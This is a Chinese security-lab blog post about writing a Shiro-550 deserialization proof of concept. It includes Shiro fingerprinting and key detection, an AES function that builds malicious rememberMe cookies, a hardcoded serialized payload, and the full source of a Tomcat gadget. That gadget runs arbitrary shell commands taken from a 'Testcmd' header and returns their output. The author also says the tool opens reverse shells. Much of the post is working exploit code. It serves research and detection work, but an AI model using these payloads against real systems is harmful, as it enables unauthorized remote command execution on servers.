作者:w7ay @ 知道创宇404实验室
时间:2020年2月12日
深刻认识到不会java搞这类poc的困难,只能做一个无情的搬砖机器。
目标是编写Pocsuite3 python版本的Shiro-550 PoC,最好不要依赖其他东西。
本文没有新奇的观点,只是记录日常 =_=
Shiro识别
看到@pmiaowu开源的burp shiro检测插件 https://github.com/pmiaowu/BurpShiroPassiveScan
看了下源码,主要有三种判断方式
- 原始cookie key带了rememberMe
- 原始请求返回cookie中value带有deleteMe
- 以上条件都不满足时,发送cookie
rememberMe=1
检测Shiro key
l1nk3r师傅 的 基于原生shiro框架 检测方法
简述下如何不依赖java环境来检测poc。
import org.apache.shiro.subject.SimplePrincipalCollection; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class ss1 { public static void main(String args[]) throws IOException { System.out.println("Hellow "); SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload")); obj.writeObject(simplePrincipalCollection); obj.close(); } }
可得到生成的反序列二进制payload(最好使用jdk6来编译,能够兼容之后的版本)
b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x'
将这段payload内置到poc里即可。
通过python函数生成最终检测payload
def generator2(key, bb: bytes): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(bb) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext
其中key是shiro需要检测的key,bb是生成的payload,当key正确时,不会返回deleteMe
回显payload
一开始看的是宽字节安全的burp插件:https://github.com/potats0/shiroPoc
但在本地环境下测试没有成功,之后猜测可能是gadgets或java版本的问题
看他的exploitType代码
类似于java的汇编代码?确认过眼神是看不懂的。
然后在GitHub上找到一个开源的exp https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py
它将gadget base64之后硬编码到了python中,正好符合我的需求。
经过测试用CommonsCollections1
就可以在我本地环境复现了。
到这里就可以写poc了,但我还想看看这些硬编码的payload是怎么来的。
更细节
那些硬编码的文件是反序列化的文件,我想找到Tomcat的通用回显的源码。@longofo告诉我可以通过CA FE BA BE
(cafebaby)来确定class的特征,将它和后面的数据保存为class文件。
然后拖到idea反编译后就能看到源码了
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.lang.reflect.Field; import java.util.List; import java.util.Scanner; public class FooDDl2ZFf8Y extends AbstractTranslet { private static void writeBody(Object var0, byte[] var1) throws Exception { Object var2; Class var3; try { var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); var2 = var3.newInstance(); var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); } catch (NoSuchMethodException var5) { var3 = Class.forName("java.nio.ByteBuffer"); var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); } } private static Object getFV(Object var0, String var1) throws Exception { Field var2 = null; Class var3 = var0.getClass(); while(var3 != Object.class) { try { var2 = var3.getDeclaredField(var1); break; } catch (NoSuchFieldException var5) { var3 = var3.getSuperclass(); } } if (var2 == null) { throw new NoSuchFieldException(var1); } else { var2.setAccessible(true); return var2.get(var0); } } public FooDDl2ZFf8Y() throws Exception { boolean var4 = false; Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); for(int var6 = 0; var6 < var5.length; ++var6) { Thread var7 = var5[var6]; if (var7 != null) { String var3 = var7.getName(); if (!var3.contains("exec") && var3.contains("http")) { Object var1 = getFV(var7, "target"); if (var1 instanceof Runnable) { try { var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); } catch (Exception var13) { continue; } List var9 = (List)getFV(var1, "processors"); for(int var10 = 0; var10 < var9.size(); ++var10) { Object var11 = var9.get(var10); var1 = getFV(var11, "req"); Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); if (var3 != null && !var3.isEmpty()) { var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); var4 = true; } var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testcmd"); if (var3 != null && !var3.isEmpty()) { var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); var4 = true; } if ((var3 == null || var3.isEmpty()) && var4) { writeBody(var2, System.getProperties().toString().getBytes()); } if (var4) { break; } } if (var4) { break; } } } } } } }
就算解出了源码,看的也不是太懂,可能是根据java的各种魔法来实现的吧 - = 于是就转而开始写poc了。
没想到写完poc的第二天,xray的作者就给出检测细节和源码。
通过比对源码:https://github.com/frohoff/ysoserial/compare/master...zema1:master
可以找到tomcat的全版本回显的payload
public static Object createTemplatesTomcatEcho() throws Exception { if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { return createTemplatesImplEcho( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } // Tomcat 全版本 payload,测试通过 tomcat6,7,8,9 // 给请求添加 Testecho: 123,将在响应 header 看到 Testecho: 123,可以用与可靠漏洞的漏洞检测 // 给请求添加 Testcmd: id 会执行 id 命令并将回显写在响应 body 中 public static <T> T createTemplatesImplEcho(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(abstTranslet)); CtClass clazz; clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime()); if (clazz.getDeclaredConstructors().length != 0) { clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); } clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" + " Object o;\n" + " Class clazz;\n" + " try {\n" + " clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" + " o = clazz.newInstance();\n" + " clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" + " resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" + " } catch (ClassNotFoundException e) {\n" + " clazz = Class.forName(\"java.nio.ByteBuffer\");\n" + " o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" + " resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" + " } catch (NoSuchMethodException e) {\n" + " clazz = Class.forName(\"java.nio.ByteBuffer\");\n" + " o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" + " resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" + " }\n" + "}", clazz)); clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" + " java.lang.reflect.Field f = null;\n" + " Class clazz = o.getClass();\n" + " while (clazz != Object.class) {\n" + " try {\n" + " f = clazz.getDeclaredField(s);\n" + " break;\n" + " } catch (NoSuchFieldException e) {\n" + " clazz = clazz.getSuperclass();\n" + " }\n" + " }\n" + " if (f == null) {\n" + " throw new NoSuchFieldException(s);\n" + " }\n" + " f.setAccessible(true);\n" + " return f.get(o);\n" + "}\n", clazz)); clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" + " Object o;\n" + " Object resp;\n" + " String s;\n" + " boolean done = false;\n" + " Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" + " for (int i = 0; i < ts.length; i++) {\n" + " Thread t = ts[i];\n" + " if (t == null) {\n" + " continue;\n" + " }\n" + " s = t.getName();\n" + " if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" + " o = getFV(t, \"target\");\n" + " if (!(o instanceof Runnable)) {\n" + " continue;\n" + " }\n" + "\n" + " try {\n" + " o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" + " } catch (Exception e) {\n" + " continue;\n" + " }\n" + "\n" + " java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" + " for (int j = 0; j < ps.size(); j++) {\n" + " Object p = ps.get(j);\n" + " o = getFV(p, \"req\");\n" + " resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" + " s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" + " if (s != null && !s.isEmpty()) {\n" + " resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" + " resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" + " done = true;\n" + " }\n" + " s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" + " if (s != null && !s.isEmpty()) {\n" + " resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" + " String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" + " writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" + " done = true;\n" + " }\n" + " if ((s == null || s.isEmpty()) && done) {\n" + " writeBody(resp, System.getProperties().toString().getBytes());\n" + " }\n" + "\n" + " if (done) {\n" + " break;\n" + " }\n" + " }\n" + " if (done) {\n" + " break;\n" + " }\n" + " }\n" + " }\n" + "}", clazz)); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ classBytes, // classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
至于为什么要那么写,可能也是因为某种魔法,我暂时还不明白。
和一些特别的链
ysoserial 中的
CommonsCollections4
只能用于 CC4.0 版本,我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本,形成了上面说的 K1/K2 两条链,这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备,我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧,可以直击敌方咽喉,一举拿下目标。万事具备,只欠东风。
PoC演示
一路下来迷迷糊糊啥也不明白真实太菜了,只能在一些大佬的肩膀上搬搬砖这样子了。
PoC集成了识别,检测key,命令执行回显以及shell反弹的操作。
检测识别key
攻击模式执行任意命令
shell反连
最后也顺便给w13scan - 被动扫描器增加了一份Shiro插件。
感谢看完全程,不说了,学习java去。
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